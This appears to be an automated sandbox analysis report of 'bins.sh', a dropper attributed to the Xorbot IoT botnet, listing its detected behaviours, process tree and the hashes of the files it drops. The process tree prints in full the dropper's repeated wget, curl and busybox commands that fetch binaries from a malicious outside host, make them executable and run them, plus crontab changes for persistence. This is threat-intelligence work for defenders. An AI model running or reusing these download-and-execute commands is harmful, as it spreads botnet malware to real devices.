Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/01/2025, 12:07

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250111-paay5syncx
  • SHA256 05c93875e1553450db614dec5dacce26d69f5f498f2bfe5cb8e32481cdcf6f4c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1512) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 28 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:729
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:734
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/a7YeanLo41yfXLfqIvoEmAGHx7KZccrLzg
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/a7YeanLo41yfXLfqIvoEmAGHx7KZccrLzg
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:757
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/a7YeanLo41yfXLfqIvoEmAGHx7KZccrLzg
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:759
        • /bin/chmod
          chmod 777 a7YeanLo41yfXLfqIvoEmAGHx7KZccrLzg
          2⤵
          • File and Directory Permissions Modification
          PID:760
        • /tmp/a7YeanLo41yfXLfqIvoEmAGHx7KZccrLzg
          ./a7YeanLo41yfXLfqIvoEmAGHx7KZccrLzg
          2⤵
          • Executes dropped EXE
          PID:761
        • /bin/rm
          rm a7YeanLo41yfXLfqIvoEmAGHx7KZccrLzg
          2⤵
            PID:763
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/vzNn38qCBWKknh6xYdGdheWwouFIsUmvjt
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:764
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/vzNn38qCBWKknh6xYdGdheWwouFIsUmvjt
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:765
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/vzNn38qCBWKknh6xYdGdheWwouFIsUmvjt
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:787
          • /bin/chmod
            chmod 777 vzNn38qCBWKknh6xYdGdheWwouFIsUmvjt
            2⤵
            • File and Directory Permissions Modification
            PID:795
          • /tmp/vzNn38qCBWKknh6xYdGdheWwouFIsUmvjt
            ./vzNn38qCBWKknh6xYdGdheWwouFIsUmvjt
            2⤵
            • Executes dropped EXE
            PID:797
          • /bin/rm
            rm vzNn38qCBWKknh6xYdGdheWwouFIsUmvjt
            2⤵
              PID:800
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/yhjRKFr9WGZTzvKv4n6zatiNnqXdKo6bqS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:803
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/yhjRKFr9WGZTzvKv4n6zatiNnqXdKo6bqS
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:818
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/yhjRKFr9WGZTzvKv4n6zatiNnqXdKo6bqS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:850
            • /bin/chmod
              chmod 777 yhjRKFr9WGZTzvKv4n6zatiNnqXdKo6bqS
              2⤵
              • File and Directory Permissions Modification
              PID:851
            • /tmp/yhjRKFr9WGZTzvKv4n6zatiNnqXdKo6bqS
              ./yhjRKFr9WGZTzvKv4n6zatiNnqXdKo6bqS
              2⤵
              • Executes dropped EXE
              PID:852
            • /bin/rm
              rm yhjRKFr9WGZTzvKv4n6zatiNnqXdKo6bqS
              2⤵
                PID:854
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/44n9Pz2ouuSJfgQjnJzLnB5nMjoPyu7woa
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:855
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/44n9Pz2ouuSJfgQjnJzLnB5nMjoPyu7woa
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:856
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/44n9Pz2ouuSJfgQjnJzLnB5nMjoPyu7woa
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:858
              • /bin/chmod
                chmod 777 44n9Pz2ouuSJfgQjnJzLnB5nMjoPyu7woa
                2⤵
                • File and Directory Permissions Modification
                PID:859
              • /tmp/44n9Pz2ouuSJfgQjnJzLnB5nMjoPyu7woa
                ./44n9Pz2ouuSJfgQjnJzLnB5nMjoPyu7woa
                2⤵
                • Executes dropped EXE
                PID:860
              • /bin/rm
                rm 44n9Pz2ouuSJfgQjnJzLnB5nMjoPyu7woa
                2⤵
                  PID:862
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/aW73R7PhAoroWPuuoYcKjdmsPXLFdNBkfn
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:863
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/aW73R7PhAoroWPuuoYcKjdmsPXLFdNBkfn
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:864
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/aW73R7PhAoroWPuuoYcKjdmsPXLFdNBkfn
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:866
                • /bin/chmod
                  chmod 777 aW73R7PhAoroWPuuoYcKjdmsPXLFdNBkfn
                  2⤵
                  • File and Directory Permissions Modification
                  PID:867
                • /tmp/aW73R7PhAoroWPuuoYcKjdmsPXLFdNBkfn
                  ./aW73R7PhAoroWPuuoYcKjdmsPXLFdNBkfn
                  2⤵
                  • Executes dropped EXE
                  PID:868
                • /bin/rm
                  rm aW73R7PhAoroWPuuoYcKjdmsPXLFdNBkfn
                  2⤵
                    PID:870
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/Zj94Uc6yq0DZGgvkoREOfjnIiezBc1hwhL
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:871
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/Zj94Uc6yq0DZGgvkoREOfjnIiezBc1hwhL
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:875
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/Zj94Uc6yq0DZGgvkoREOfjnIiezBc1hwhL
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:877
                  • /bin/chmod
                    chmod 777 Zj94Uc6yq0DZGgvkoREOfjnIiezBc1hwhL
                    2⤵
                    • File and Directory Permissions Modification
                    PID:878
                  • /tmp/Zj94Uc6yq0DZGgvkoREOfjnIiezBc1hwhL
                    ./Zj94Uc6yq0DZGgvkoREOfjnIiezBc1hwhL
                    2⤵
                    • Executes dropped EXE
                    PID:879
                  • /bin/rm
                    rm Zj94Uc6yq0DZGgvkoREOfjnIiezBc1hwhL
                    2⤵
                      PID:881
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/9deW2eaG1fHNvlq6NAGyr3H2ayYbq5mGCo
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:882
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/9deW2eaG1fHNvlq6NAGyr3H2ayYbq5mGCo
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:883
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/9deW2eaG1fHNvlq6NAGyr3H2ayYbq5mGCo
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:885
                    • /bin/chmod
                      chmod 777 9deW2eaG1fHNvlq6NAGyr3H2ayYbq5mGCo
                      2⤵
                      • File and Directory Permissions Modification
                      PID:886
                    • /tmp/9deW2eaG1fHNvlq6NAGyr3H2ayYbq5mGCo
                      ./9deW2eaG1fHNvlq6NAGyr3H2ayYbq5mGCo
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:887
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:889
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:890
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:891
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:892
                          • /bin/rm
                            rm 9deW2eaG1fHNvlq6NAGyr3H2ayYbq5mGCo
                            2⤵
                              PID:894
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/qC6f8ebvb3gZ9mcoqLmlP6RuybzsPhagj3
                              2⤵
                              • System Network Configuration Discovery
                              PID:897
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/qC6f8ebvb3gZ9mcoqLmlP6RuybzsPhagj3
                              2⤵
                              • System Network Configuration Discovery
                              PID:898
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/qC6f8ebvb3gZ9mcoqLmlP6RuybzsPhagj3
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:980
                            • /bin/chmod
                              chmod 777 qC6f8ebvb3gZ9mcoqLmlP6RuybzsPhagj3
                              2⤵
                              • File and Directory Permissions Modification
                              PID:985
                            • /tmp/qC6f8ebvb3gZ9mcoqLmlP6RuybzsPhagj3
                              ./qC6f8ebvb3gZ9mcoqLmlP6RuybzsPhagj3
                              2⤵
                              • Executes dropped EXE
                              PID:986
                            • /bin/rm
                              rm qC6f8ebvb3gZ9mcoqLmlP6RuybzsPhagj3
                              2⤵
                                PID:988
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/wE87T0YkLeDiCMedowhJU1QOrXVaYDRXYw
                                2⤵
                                • System Network Configuration Discovery
                                PID:989
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/wE87T0YkLeDiCMedowhJU1QOrXVaYDRXYw
                                2⤵
                                • System Network Configuration Discovery
                                PID:990
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/wE87T0YkLeDiCMedowhJU1QOrXVaYDRXYw
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:995
                              • /bin/chmod
                                chmod 777 wE87T0YkLeDiCMedowhJU1QOrXVaYDRXYw
                                2⤵
                                • File and Directory Permissions Modification
                                PID:996
                              • /tmp/wE87T0YkLeDiCMedowhJU1QOrXVaYDRXYw
                                ./wE87T0YkLeDiCMedowhJU1QOrXVaYDRXYw
                                2⤵
                                • Executes dropped EXE
                                PID:997
                              • /bin/rm
                                rm wE87T0YkLeDiCMedowhJU1QOrXVaYDRXYw
                                2⤵
                                  PID:999
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/1b3nNMbg4gco2c3zPHwa4SuyjHCzmq0I0L
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:1000

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    44n9Pz2ouuSJfgQjnJzLnB5nMjoPyu7woa

                                    • Path /tmp/44n9Pz2ouuSJfgQjnJzLnB5nMjoPyu7woa
                                    • Size 107KB
                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                    • MD5 SHA1 SHA512 SSDEEP

                                    9deW2eaG1fHNvlq6NAGyr3H2ayYbq5mGCo

                                    • Path /tmp/9deW2eaG1fHNvlq6NAGyr3H2ayYbq5mGCo
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Zj94Uc6yq0DZGgvkoREOfjnIiezBc1hwhL

                                    • Path /tmp/Zj94Uc6yq0DZGgvkoREOfjnIiezBc1hwhL
                                    • Size 98KB
                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    a7YeanLo41yfXLfqIvoEmAGHx7KZccrLzg

                                    • Path /tmp/a7YeanLo41yfXLfqIvoEmAGHx7KZccrLzg
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP

                                    aW73R7PhAoroWPuuoYcKjdmsPXLFdNBkfn

                                    • Path /tmp/aW73R7PhAoroWPuuoYcKjdmsPXLFdNBkfn
                                    • Size 112KB
                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                    • MD5 SHA1 SHA512 SSDEEP

                                    qC6f8ebvb3gZ9mcoqLmlP6RuybzsPhagj3

                                    • Path /tmp/qC6f8ebvb3gZ9mcoqLmlP6RuybzsPhagj3
                                    • Size 119KB
                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                    • MD5 SHA1 SHA512 SSDEEP

                                    vzNn38qCBWKknh6xYdGdheWwouFIsUmvjt

                                    • Path /tmp/vzNn38qCBWKknh6xYdGdheWwouFIsUmvjt
                                    • Size 111KB
                                    • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                    • MD5 SHA1 SHA512 SSDEEP

                                    wE87T0YkLeDiCMedowhJU1QOrXVaYDRXYw

                                    • Path /tmp/wE87T0YkLeDiCMedowhJU1QOrXVaYDRXYw
                                    • Size 127KB
                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    yhjRKFr9WGZTzvKv4n6zatiNnqXdKo6bqS

                                    • Path /tmp/yhjRKFr9WGZTzvKv4n6zatiNnqXdKo6bqS
                                    • Size 122KB
                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                    • MD5 SHA1 SHA512 SSDEEP

                                    tmp.Xtmem5

                                    • Path /var/spool/cron/crontabs/tmp.Xtmem5
                                    • Size 210B
                                    • SHA256 d0c4a0e45bd64cc836a062a9e151884a9e5e0560970a9c33252b80aa45492a9e
                                    • MD5 SHA1 SHA512